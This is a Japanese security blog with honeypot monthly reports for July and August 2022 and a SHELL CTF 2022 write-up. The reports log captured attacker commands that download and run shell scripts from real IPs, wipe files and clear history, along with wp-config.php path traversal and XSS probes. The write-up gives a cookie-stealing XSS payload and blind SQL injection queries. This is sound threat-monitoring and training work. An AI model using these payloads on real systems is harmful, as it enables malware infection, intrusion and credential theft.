Midnight Monologues

日々勉強したことを書いてきます

ハニーポット運用(月次報告:2022年8月)

・2022年8月11日 – 2022年8月14日にDEF CON30が開催された。時間面および金銭面の都合により全く関係ないイベントだが、いつかは参加したい。

アルミ電解コンデンサの世界トップシェアをもつ日本ケミコン株式会社にて管理サーバへの不正アクセスがあったとの発表があった。幸いデータの改ざんやシステムダウンなどの業務影響は発生していないとのことだが、2021年10月に三菱電機株式会社で安保情報を含む情報が流出したように、世界的なシェアを占める日本企業の機密情報の保護についてより一層の注力が必要になるだろう。 www.chemi-con.co.jp

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2022年8月1日-2022年8月31日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Ddospot 1,248,642 ▲909,493
2 Cowrie 1,165,835 136,256
3 Honeytrap 624,354 167,770
4 Heralding 618,060 163,578
5 Dionaea 287,480 33,917
6 Mailoney 40,050 ▲9,643
7 Redishoneypot 16,478 14,013
8 Adbhoney 12,022 658
9 Tanner 6,825 311
10 ConPot 3,105 525
11 CitrixHoneypot 2,630 827
12 Ciscoasa 2,374 922
13 ElasticPot 1,039 ▲86
14 Ipphoney 171 ▲2
15 Dicompot 83 2
  • Result
    • 全体的な傾向は先月から変更なし

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Brazil 707,292 1(→)
2 United States 635,955 2(→)
3 Netherlands 431,590 3(→)
4 Russia 326,332 5(↑)
5 China 265,023 4(↓)
6 Indonesia 112,324 15(↑)
7 India 83,841 9(↑)
8 Vietnam 80,105 10(↑)
9 United Kingdom 76,068 11(↑)
10 Japan 73,800 8(↓)
11 Singapore 64,731 6(↓)
12 Germany 59,104 7(↓)
13 South Korea 51,457 11(↓)
14 Sweden 35,542 19(↑)
15 Latvia 33,053 20(↑)
16 France 32,451 14(↓)
17 Hong Kong 27,316 16(↓)
18 Bangladesh 26,262 13(↓)
19 Canada 23,391 18(↓)
20 Mexico 22,773 圏外(↑)
No country dest_port 件数 備考
1 Brazil 53 647,154 DNS
2 United States 123 128,414 NTP
3 Netherlands 5900 349,378 VNC

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 293,801
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 7,820
3 CVE-2020-11910 1,009
4 CVE-1999-0016 2
  • Result
    • 先月から変更なし

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 98,707
2 admin 7,613
3 nproc 4,870
4 user 3,640
5 test 2,258
6 (empty) 2,249
7 sa 2,239
8 support 1,621
9 22 1,331
10 ubuntu 832
11 oracle 824
12 ftpuser 790
13 postgres 693
14 !root 668
15 2Wire 659
16 guest 447
17 hadoop 418
18 git 416
19 unknown 379
20 blank 378
21 adm 374
22 cameras 351
23 ubnt 351
24 666666 350
25 debug 338
26 $ALOC$ 329
27 0 328
28 test1 326
29 test2 299
30 mysql 289
31 minecraft 278
32 www 266
33 usuario 260
34 testuser 248
35 centos 242
36 student 231
37 esuser 230
38 deploy 216
39 pi 209
40 nagios 206
41 debian 199
42 ftp 198
43 es 192
44 ts3 188
45 ansible 187
46 ec2-user 168
47 nobody 156
48 steam 155
49 default 144
50 upload 144
  • Result
    • ec2-user(46位)について、Amazon Linux2(EC2)のec2-user(デフォルトユーザー)に対するアクセスが確認された。AWSのようなインターネット経由でのアクセスが可能な環境においては特にセキュリティを意識する必要があるだろう。

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 nproc 4,870
2 admin 3,994
3 123456 3,826
4 (empty) 3,234
5 password 1,933
6 1 1,770
7 123 1,355
8 12345 1,308
9 suport 1,037
10 root 1,009
11 1234 1,003
12 blank 996
13 12345678 963
14 test 713
15 0 691
16 user 564
17 Aa123456. 551
18 qwerty 511
19 ubnt 475
20 support 449
21 00000000 439
22 666666 427
23 alpine 389
24 master 371
25 backup 368
26 1qaz2wsx 358
27 hi3518 354
28 cameras 351
29 unknown 344
30 synnet 336
31 !ishtar 334
32 _Cisco 328
33 10023 323
34 1q2w3e4r 311
35 Password 295
36 123123 282
37 guest 276
38 111111 274
39 minecraft 250
40 123456789 246
41 pass 219
42 abc123 208
43 Passw0rd 203
44 a 201
45 password123 192
46 toor 191
47 P@ssw0rd 190
48 1qaz@WSX 189
49 J5cmmu=Kyf0-br8CsW 182
50 1q2w3e 181
  • Result
    • J5cmmu=Kyf0-br8CsW(49位)について、不思議なパスワードを確認した。攻撃自体はリバースブルートフォース攻撃としてパスワードを固定した上で、ユーザ名部分を変更しながら試行している。


本パスワードは海外でも情報を求めている方がいるようで、情報提供募集中とのこと。


⑥今月のマスオさんとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • 今月も新規のmaliciousなファイルがBash系のファイルにて確認された。

◆shファイルに関するアクセス

No ファイル名 hash値(md5) アクセス
1 /apibins.sh 2af56ea833690dda4392fdfb28173cbf "cd /tmp || cd /run || cd /; wget http://109.206.241.200/apibins.sh; chmod 777 apibins.sh; sh apibins.sh; tftp 109.206.241.200 -c get apitftp1.sh; chmod 777 apitftp1.sh; sh apitftp1.sh; tftp -r apitftp2.sh -g 109.206.241.200; chmod 777 apitftp2.sh; sh apitftp2.sh; rm -rf apibins.sh apitftp1.sh apitftp2.sh; rm -rf *"
2 /FBI.sh 00095a5b461379b3134c479733a7f1f6 "cd /tmp; wget http://45.207.9.93/FBI.sh; curl -O http://45.207.9.93/FBI.sh; chmod 777 FBI.sh; sh FBI.sh; tftp 45.207.9.93 -c get FBI1.sh; chmod 777 FBI1.sh; sh FBI1.sh; tftp -r FBI2.sh -g 45.207.9.93; chmod 777 FBI2.sh; sh FBI2.sh; rm -rf FBI.sh FBI1.sh FBI2.sh"
3 /Fourloko.sh bf305092b30814e8d65ef5edebcbf470 "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://208.67.104.94/Fourloko.sh; chmod 777 ; sh Fourloko.sh; tftp -g 208.67.104.94 -r tftp1.sh; chmod 777 ; sh tftp1.sh; rm -rf *.sh; history -c"
4 /Gummybins.sh f983824c5205cde37756ae4621d9152d "rm -rf /tmp/ && rm -rf /root/ && cd /tmp || cd /run || cd /; wget http://199.195.249.90/Gummybins.sh; chmod 777 Gummybins.sh; sh Gummybins.sh; tftp 199.195.249.90 -c get Gummytftp1.sh; chmod 777 Gummytftp1.sh; sh Gummytftp1.sh; tftp -r Gummytftp2.sh -g 199.195.249.90; chmod 777 Gummytftp2.sh; sh Gummytftp2.sh; rm -rf Gummybins.sh Gummytftp1.sh Gummytftp2.sh; rm -rf *"
5 /mrrow.sh e532d377d3c6492ee29131903f7f2852 "cd /tmp; rm -rf *; wget http://109.206.241.211/mrrow.sh; curl -O http://109.206.241.211/mrrow.sh; chmod 777 mrrow.sh; sh mrrow.sh"
6 /ohshit.sh b37107730f879e60ff26eab9750ab75e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://208.67.107.247/ohshit.sh; curl -O http://208.67.107.247/ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp 208.67.107.247 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; tftp -r ohshit2.sh -g 208.67.107.247; chmod 777 ohshit2.sh; sh ohshit2.sh; ftpget -v -u anonymous -p anonymous -P 21 208.67.107.247 ohshit1.sh ohshit1.sh; sh ohshit1.sh; rm -rf ohshit.sh ohshit.sh ohshit2.sh ohshit1.sh; rm -rf *"
9 /ok.sh fa989ee4d6974f66e3718703cd798202 "cd /tmp ; wget 46.252.26.161/ok.sh ; sh ok.sh ; rm -rf ok.sh ; curl -O 46.252.26.161/ok.sh ; sh ok.sh ; rm -rf ok.sh ; history -c"
10 /sensi.sh f2e007efd288dc3412409b34531de18f "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.182.129.239/sensi.sh; curl -O http://107.182.129.239/sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp 107.182.129.239 -c get sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp -r sensi2.sh -g 107.182.129.239; chmod 777 sensi2.sh; sh sensi2.sh; ftpget -v -u anonymous -p anonymous -P 21 107.182.129.239 sensi1.sh sensi1.sh; sh sensi1.sh; rm -rf sensi.sh sensi.sh sensi2.sh sensi1.sh; rm -rf *"
11 /SnOoPy.sh d41dd92d302f9732e2b977965ac42b34 "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://137.184.84.112/SnOoPy.sh; chmod 777 ; sh SnOoPy.sh; tftp -g 137.184.84.112 -r tftp1.sh; chmod 777 ; sh tftp1.sh; rm -rf *.sh; history -c"
12 /ssh-updater.sh 431f9cd36e2e6f910031daca965bcadd "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://37.187.87.141/ssh-updater.sh; curl -O http://37.187.87.141/ssh-updater.sh; chmod 777 ssh-updater.sh; sh ssh-updater.sh; rm -rf ssh-updater.sh"
13 /Syn0.sh 3aefe1dd16eb2cc0778db32e5f5ed6c4 "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://rischyo.cf/Syn0.sh; chmod 777 Syn0.sh; sh Syn0.sh; rm -rf Syn0.sh "
14 /wget.sh 4522b61bad8c5d940be1205f1a508c8a "cd /tmp; rm -rf wget.sh; wget http://109.206.241.211/wget.sh; curl -O http://109.206.241.211/wget.sh; chmod 777 wget.sh; ./wget.sh"
15 /z.sh ace24b50d30cd1249a290a95511c20e1 "cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://204.76.203.76/z.sh; curl -O http://204.76.203.76/z.sh; chmod 777 z.sh; sh z.sh; tftp 204.76.203.76 -c get tz.sh; chmod 777 tz.sh; sh tz.sh; tftp -r tz2.sh -g 204.76.203.76; chmod 777 tz2.sh; sh tz2.sh; ftpget -v -u anonymous -p anonymous -P 21 204.76.203.76 z1.sh z1.sh; sh z1.sh; rm -rf z.sh tz.sh tz2.sh z1.sh; rm -rf *"



◆exeファイルに関するアクセス

No ファイル名 hash値(md5) アクセス
1 \WINDOWS\svchost.exe -

今月の作業BGM
曲名 アーティスト 備考
Animal Neon Trees ---

ハニーポット運用(月次報告:2022年7月)

2022年7月2日にKDDI社の通信サービスにて大規模な通信障害が発生した。

news.kddi.com

通信障害の概要は以下と発表されている。

影響範囲
影響時間 影響エリア
7月2日(土) 1:35~ 7月4日(月)15:00 (61時間25分) 全国
影響数
音声(VoLTE) 影響エリア
約2,278万人 765万人以上


原因は経路誤設定による通信断から位置登録要求信号が大量に発生し、 全国のVoLTE交換機と加入者DBが輻輳状態になったためであるとのこと。
7月29日に発表された障害報告資料は、良く纏められており参考になる内容であった。 https://www.kddi.com/extlib/files/corporate/ir/library/presentation/2023/pdf/kddi_220729_shougai_qybBYn.pdf?_ga=2.238695624.979087128.1660797447-60409627.1660797447


携帯電話が大半を占める現代社会においては公衆電話は廃れていくように感じるが、大規模災害などで公衆電話が利用される実績も過去にはあるため、一定数は残してほしいと個人的には思う。

T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2021年7月5日-2021年7月31日
運用期間:26日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Ddospot 2,158,135 987,974
2 Cowrie 1,029,579 44,063
3 Honeytrap 456,584 -179,771
4 Heralding 454,482 167,482
5 Dionaea 253,563 -138,588
6 Mailoney 49,693 22,309
7 Adbhoney 11,364 3,494
8 Tanner 6,514 2,488
9 ConPot 2,580 740
10 Redishoneypot 2,465 39
11 CitrixHoneypot 1,803 241
12 Ciscoasa 1,452 -49
13 ElasticPot 1,125 432
14 Ipphoney 173 24
15 Dicompot 81 0
16 Medpot 0 -120
  • Result
    • 特記事項無し

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Brazil 1,238,688 1(→)
2 United States 641,490 2(→)
3 Netherlands 391,300 4(↑)
4 China 278,490 3(↓)
5 Russia 249,637 5(→)
6 Singapore 135,287 12(↑)
7 Germany 106,211 11(↑)
8 Japan 99,295 6(↓)
9 India 82,102 8(↓)
10 Vietnam 80,482 9(↓)
11 United Kingdom 70,906 10(↓)
12 South Korea 63,652 13(↑)
13 Bangladesh 59,277 14(↑)
14 France 41,284 17(↑)
15 Indonesia 39,845 15(→)
16 Hong Kong 39,217 19(↑)
17 Taiwan 38,788 圏外(↑)
18 Canada 33,202 圏外(↑)
19 Sweden 29,375 16(↓)
20 Latvia 25,923 圏外(↑)
  • Result
    • 先月に引き続きBrazil , United Statesからのアクセスが多かった。
    • China , Russiaからのアクセスは小康状態にある。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 162,184
2 CVE-2020-11910 3,393
3 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 45
4 CVE-1999-0016 1
  • Result
    • 特記事項無し

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 71,677
2 sa 10,501
3 admin 7,972
4 nproc 3,682
5 user 2,176
6 (empty) 1,352
7 support 1,222
8 test 1,189
9 22 884
10 postgres 847
11 ubuntu 847
12 oracle 524
13 2Wire 449
14 !root 430
15 git 389
16 ftpuser 358
17 guest 319
18 www 295
19 adm 290
20 user2 263
21 mysql 257
22 666666 239
23 blank 236
24 0 235
25 debug 235
26 jenkins 228
27 unknown 228
28 administrator 227
29 $ALOC$ 223
30 ubnt 222
31 deploy 221
32 testuser 215
33 ftp 214
34 anonymous 208
35 minecraft 204
36 Admin 190
37 user1 190
38 db 183
39 web 177
40 wwwroot 172
41 test1 152
42 www-data 141
43 dev 135
44 server 132
45 tomcat 132
46 alex 126
47 nagios 126
48 hadoop 124
49 steam 122
50 ts3 122
  • Result
    • saユーザへのアクセスが若干増えている。

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 123456 4,519
2 admin 4,313
3 nproc 3,682
4 (empty) 2,975
5 123 1,722
6 password 1,529
7 1234 1,435
8 1 1,326
9 12345 1,119
10 suport 727
11 blank 677
12 12345678 667
13 0 491
14 test 396
15 user 376
16 123456789 342
17 666666 318
18 123123 311
19 ubnt 304
20 support 301
21 root 291
22 master 282
23 1234567 268
24 alpine 262
25 P@ssw0rd 260
26 00000000 258
27 111111 247
28 qwerty 247
29 backup 246
30 1qaz2wsx 244
31 hi3518 232
32 unknown 231
33 synnet 227
34 10023 222
35 _Cisco 219
36 !ishtar 212
37 1q2w3e4r 206
38 admin123 204
39 Passw0rd 195
40 test123 192
41 abc123 190
42 passw0rd 190
43 bosco 172
44 Pa$$w0rd 171
45 p@ssw0rd 165
46 123qwe 164
47 1234567890 162
48 12 152
49 P@ssword 151
50 pa55word 147
  • Result
    • 特記事項無し

⑥今月のマスオさんとZmap
  • massscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • 7月はshファイルを利用したアクセスを複数確認した。ohsitsvegawellrip.shについては8月1日時点でVirusTotalにおいて多くの対策ソフトでmalwareとは検知されていない。

◆shファイルに関するアクセス

No ファイル名 hash値(md5) アクセス
1 /sora.sh 2655c5108f0fbe1b4988e473ea7cf975 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.233.188.118/sora.sh; curl -O http://193.233.188.118/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 193.233.188.118 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 193.233.188.118; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 193.233.188.118 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *
2 /sora.sh b4c8a40638801a1b5c6701ee8c4d96ff CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://37.0.8.157/sora.sh; curl -O http://37.0.8.157/sora.sh; chmod 777 sora.sh; sh sora.sh; tftp 37.0.8.157 -c get sora.sh; chmod 777 sora.sh; sh sora.sh; tftp -r sora2.sh -g 37.0.8.157; chmod 777 sora2.sh; sh sora2.sh; ftpget -v -u anonymous -p anonymous -P 21 37.0.8.157 sora1.sh sora1.sh; sh sora1.sh; rm -rf sora.sh sora.sh sora2.sh sora1.sh; rm -rf *
3 /sh 078e9a9b315d76ae99d7449aa8182fee /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
4 /dompdf.php 61aeec46a50c9ea8268014d2e7f0c0ef /wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=../../../../wp-config.php
5 /dompdf.php 61aeec46a50c9ea8268014d2e7f0c0ef /wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=../../../../../../wp-config.php
6 /catvsdog.sh 33e442e5a30a40dbb0fe303e8d296ad5 CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://37.187.87.141/catvsdog.sh; curl -O http://37.187.87.141/catvsdog.sh; chmod 777 catvsdog.sh; sh catvsdog.sh; tftp 37.187.87.141 -c get 0xt984767.sh; chmod 777 catvsdog.sh; sh catvsdog.sh; tftp -r catvsdog.sh -g 37.187.87.141; chmod 777 catvsdog.sh; sh catvsdog.sh; ftpget -v -u anonymous -p anonymous -P 21 37.187.87.141 catvsdog.sh catvsdog.sh; sh catvsdog.sh; rm -rf 0xt984767.sh catvsdog.sh catvsdog.sh;
7 /z.sh 0e2cc69b4f0c859bd59bc34f48a3d44d CMD: cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://185.225.73.78/z.sh; curl -O http://185.225.73.78/z.sh; chmod 777 z.sh; sh z.sh; tftp 185.225.73.78 -c get tz.sh; chmod 777 tz.sh; sh tz.sh; tftp -r tz2.sh -g 185.225.73.78; chmod 777 tz2.sh; sh tz2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.225.73.78 z1.sh z1.sh; sh z1.sh; rm -rf z.sh tz.sh tz2.sh z1.sh; rm -rf *
8 /ssi/printenv.shtml 27a505e858e000b7a478dfde26bf8378 /ssi/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E
9 /nig.sh 4bb1da6f7a9b5e3ddcac0c1d0c14a547 CMD: rm -rf nig.sh; rm -rf miori.*; wget http://81.161.229.116/nig.sh || curl -O http://81.161.229.116/nig.sh || tftp 81.161.229.116 -c get nig.sh || tftp -g -r nig.sh 81.161.229.116; chmod 777 nig.sh;./nig.sh ssh; rm -rf nig.sh
10 /ok.sh 34750f03237595d58567332a2346a23c cd /tmp ; wget 141.95.188.153/ok.sh ; sh ok.sh ; rm -rf ok.sh ; curl -O 141.95.188.153/ok.sh ; sh ok.sh ; rm -rf ok.sh ; history -c
11 /8UsA2.sh 42dd431252129ecc2eb88c52d06d5216 CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://208.67.106.145/8UsA.sh; curl -O http://208.67.106.145/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp 208.67.106.145 -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g 208.67.106.145; chmod 777 t8UsA2.sh; sh t8UsA2.sh; ftpget -v -u anonymous -p anonymous -P 21 208.67.106.145 8UsA1.sh 8UsA1.sh; sh 8UsA1.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh 8UsA1.sh; rm -rf *,
12 /brokeskid.sh d54b92f364fafc14696e85f94a36c9f2 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://62.197.136.157/brokeskid.sh; chmod 777 ; sh brokeskid.sh; tftp -g 62.197.136.157 -r tftp1.sh; chmod 777 ; sh tftp1.sh; rm -rf *.sh; history -c
13 /bin.sh 0c5590a0fbde98b80e6865a543b64009 CMD: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://75.119.139.188/bin.sh; chmod 777 ; sh bin.sh; tftp -g 75.119.139.188 -r tftp1.sh; chmod 777 ; sh tftp1.sh; rm -rf *.sh; history -c
14 /ohsitsvegawellrip.sh 995ad2adfc03237543b2446317ba5f06 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://37.221.67.212/ohsitsvegawellrip.sh; curl -O http://37.221.67.212/ohsitsvegawellrip.sh; chmod 777 ohsitsvegawellrip.sh; sh ohsitsvegawellrip.sh; tftp 37.221.67.212 -c get ohsitsvegawellrip.sh; chmod 777 ohsitsvegawellrip.sh; sh ohsitsvegawellrip.sh; tftp -r ohsitsvegawellrip2.sh -g 37.221.67.212; chmod 777 ohsitsvegawellrip2.sh; sh ohsitsvegawellrip2.sh; ftpget -v -u anonymous -p anonymous -P 21 37.221.67.212 ohsitsvegawellrip1.sh ohsitsvegawellrip1.sh; sh ohsitsvegawellrip1.sh; rm -rf ohsitsvegawellrip.sh ohsitsvegawellrip.sh ohsitsvegawellrip2.sh ohsitsvegawellrip1.sh; rm -rf *

◆exeファイルに関するアクセス

No ファイル名 hash値(md5) アクセス
1 csrss.exe -

今月の作業BGM
曲名 アーティスト 備考
Good Time Owl City & Carly Rae Jepsen ---

SHELL CTF 2022 - Writeup

2022年8月12日, 12:30 UTC - 8月14日, 12:30 UTCに開催されたSHELL CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で9問解いたので、以下にWriteupを記載する。

Chiper

Tring Tring....

Tring Tring my mobile started ringing. "Hey Check your SMS!!"

----. ----. ----. / -.... -.... -.... / ---.. ---.. / ..--- ..--- ..--- / ..--- / -.... -.... / --... --... --... / ...-- ...-- / ..--- / ...-- / -.... / ----. ----. ----. / --... --... --... --... / -.... / --... --... --... --...

Flag Format: SHELL{SOMETHINGHERE}


問題のメッセージをモールスコードとしてデコードすると9996668822226677733236999777767777という数字になる。

問題文の内容からMulti-tap Phone Cipher (SMS)を推測して解析するとflagが得られる。

flag : SHELL{YOUCANREADMYSMS}



Forensic

Alien Communication

Aliens are trying to communicate something. They belive in seeing more than what they are hearing. can you help us trying to decode what they are trying to say?


添付ファイルをスペクトル表示するとflagが確認できる。

flag : SHELL{YOUCANREADMYSMS}



Secret Document

"shell is the key if you did'nt get it xorry"


問題文からshellというキーワードと添付ファイルを XORすれば良いことが分かる。

flag : shell{y0u_c4n_s33_th3_h1dd3n}



Hidden File

Our Agent gave us this image can you find whats there with this image?

Exif情報で確認したパスワードshellによりsteghideツールを使ってHidden Files.zipファイルが抽出できる。

root@kali:# steghide extract -sf Hidden.jpg 
Enter passphrase: 
wrote extracted data to "Hidden Files.zip".


Hidden Files.zipファイルにはse3cretf1l3.pdfとsomething.jpg、パスワード付きのflag.zipがある。
se3cretf1l3.pdfをlibraofiiceで確認すると透明な文字でkey is shellctfと記載されていることが分かる。
判明したパスワードを使ってflag.zipを解凍するとflag.txtが確認できる。

flag : shell{y0u_g07_th3_flag_N1c3!}



GO Deep!

Our one of the agent gave us this file and said "Go Deep!"


wavファイルでDeepとあるので連想ゲームからDeepSoundを確認する。(はらたいらさんに3,000点はクイズダービー...)

DeepSoundで添付ファイルを開くとパスワードを求められる。この時、チームメンバーの方がwavファイルの中からpassword:shellであることを気付いていた。

判明したパスワードを使うとDeep Flag.txtが抽出でき、flagを確認できる。

flag : SHELL{y0u_w3r3_7h1nk1ng_R3ally_D33p}



Heaven

"I was in the seventh heaven painted red green and blue"


問題文からMSBのR,B,Gを確認するとflagがある。

flag : SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}



Web

Choosy

Single solution doesn't works on all problems. One should try different solutions for different problem.

Flag format:- shellctf{H3re_1s_tH3_F14g}

http://20.125.142.38:8324

Alternate link http://20.193.247.209:8333/


指定されたURLへアクセスするとフォームの入力画面が表示される。

XSS脆弱性がある。<script>タグは置換されるが1回だけなので、<scrscriptipt>のような形式で<script>となり発火できる。
scriptタグのサニタイジングがあるのでXSS問題かと連想できる。
色々確認していたところ、強制的にエラーを出すペイロードを入力するとflagの記載されたアラートが表示された。

<img/src=`%00` onerror=location.href='https://<My Server IP address>/123?'+document.cookie;>



flag : shellctf{50oom3_P4yL0aDS_aM0ng_Maaa4nnY}



Extractor

We are under emergency. Enemy is ready with its nuclear weapon we need to activate our gaurds but chief who had password is dead. There is portal at URL below which holds key within super-user account, can you get the key and save us.

Flag format :- shellctf{H3re_1s_tH3_fL4G}

http://20.125.142.38:8956

Alternate URL :- http://20.193.247.209:8555/

More Alternate URL :- http://52.66.29.74:8999/


指定されたURLへアクセスするとフォームの入力画面が表示される。

問題タイトルからSQLインジェクションの問題かと連想できる。
試しにpassword欄に' or 'a'='a' --を入力するとuser情報が表示される。
適当な文字を入力した際は何も表示されない。
user情報が表示される場合を正常としてBlindSqlインジェクションを試す。

http://52.66.29.74:8999/profile?username=121212&pass=%27%20or%20((SELECT%20length(tbl_name)%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20and%20tbl_name%20not%20like%20%27sqlite_%%27%20limit%201%20offset%200)=6)%20--%20&content=1

' or ((SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('A')) -- 
 ・
 ・


→Table名はAdmins

http://52.66.29.74:8999/profile?username=121212&pass=%27%20or%20((SELECT%20length(sql)%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20limit%201%20offset%200)=140)%20--%20&content=1

' or ((SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' limit 1 offset 0) = hex('C')) --
 ・
 ・

→Table構造としてAdminsテーブルにid,user,pass,contentのカラムがある。
contentカラムの内容を確認するとflagが確認できる

' or ((SELECT hex(substr(content,1,1)) FROM Admins) = hex('s')) --
' or ((SELECT hex(substr(content,2,1)) FROM Admins) = hex('h')) --
' or ((SELECT hex(substr(content,3,1)) FROM Admins) = hex('e')) --
' or ((SELECT hex(substr(content,4,1)) FROM Admins) = hex('l')) --
' or ((SELECT hex(substr(content,5,1)) FROM Admins) = hex('l')) --
' or ((SELECT hex(substr(content,6,1)) FROM Admins) = hex('c')) --
' or ((SELECT hex(substr(content,7,1)) FROM Admins) = hex('t')) --
' or ((SELECT hex(substr(content,8,1)) FROM Admins) = hex('f')) --
' or ((SELECT hex(substr(content,9,1)) FROM Admins) = hex('{')) --
' or ((SELECT hex(substr(content,10,1)) FROM Admins) = hex('S')) --
' or ((SELECT hex(substr(content,11,1)) FROM Admins) = hex('q')) --
' or ((SELECT hex(substr(content,12,1)) FROM Admins) = hex('l')) --
' or ((SELECT hex(substr(content,13,1)) FROM Admins) = hex('_')) --
' or ((SELECT hex(substr(content,14,1)) FROM Admins) = hex('1')) --
' or ((SELECT hex(substr(content,15,1)) FROM Admins) = hex('N')) --
' or ((SELECT hex(substr(content,16,1)) FROM Admins) = hex('j')) --
' or ((SELECT hex(substr(content,17,1)) FROM Admins) = hex('3')) --
' or ((SELECT hex(substr(content,18,1)) FROM Admins) = hex('c')) --
' or ((SELECT hex(substr(content,19,1)) FROM Admins) = hex('7')) --
' or ((SELECT hex(substr(content,20,1)) FROM Admins) = hex('i')) --
' or ((SELECT hex(substr(content,21,1)) FROM Admins) = hex('0')) --
' or ((SELECT hex(substr(content,22,1)) FROM Admins) = hex('n')) --
' or ((SELECT hex(substr(content,23,1)) FROM Admins) = hex('_')) --
' or ((SELECT hex(substr(content,24,1)) FROM Admins) = hex('B')) --
' or ((SELECT hex(substr(content,25,1)) FROM Admins) = hex('4')) --
' or ((SELECT hex(substr(content,26,1)) FROM Admins) = hex('5')) --
' or ((SELECT hex(substr(content,27,1)) FROM Admins) = hex('i')) --
' or ((SELECT hex(substr(content,28,1)) FROM Admins) = hex('C')) --
' or ((SELECT hex(substr(content,29,1)) FROM Admins) = hex('_')) --
' or ((SELECT hex(substr(content,30,1)) FROM Admins) = hex('X')) --
' or ((SELECT hex(substr(content,31,1)) FROM Admins) = hex('D')) --
' or ((SELECT hex(substr(content,32,1)) FROM Admins) = hex('}')) --


flag : shellctf{Sql_1Nj3c7i0n_B45iC_XD}



Doc Holder

Can you share portable document with us which looks like it when we seet portable document with eyes but ti's not actually portable document.

More a misc problem ...

My Favourite move is Inferno overwrite 

http://20.125.142.38:8508

Alternate Link :- http://20.193.247.209:8666/

Hint --- Challenge is all about file extension of the file that you are uploading....


指定されたURLへアクセスするとファイルのアップロード画面が表示される。

.pdfの拡張子のTEXTファイルをアップロードするとメッセージが変わる

問題文から拡張子+overwriteでRLO (Right-to-Left Override)に関係すると考えられる。
メモ帳でhoge.を入力した後に右クリック→Unicode制御文字の挿入→RLOをクリックしてfdpを入力する。このhoge.pdfをファイル名にコピペする。

上記のhoge.pdfをアップロードするとflagが確認できる。

flag : shellctf{R1ghtt_t0_l3ft_0veRiDe_1s_k3Y}



感想

  • Raw Agent は1つ目のflagはわかったが2つ目が解けず。無念...

1つ目のflagは問題を解く中の途中で出てくるアンノーンの画像のUSSERAGENT

2つ目のflagは最後のUltimate Level の時に表示されるGreninja.pngをzstegで解析した際に出てくるbase64文字からGoogleドライブのファイルを確認する。

root@kali:# Greninja.png 
b1,r,lsb,xy         .. text: "N?xZo5^Qz5xY"
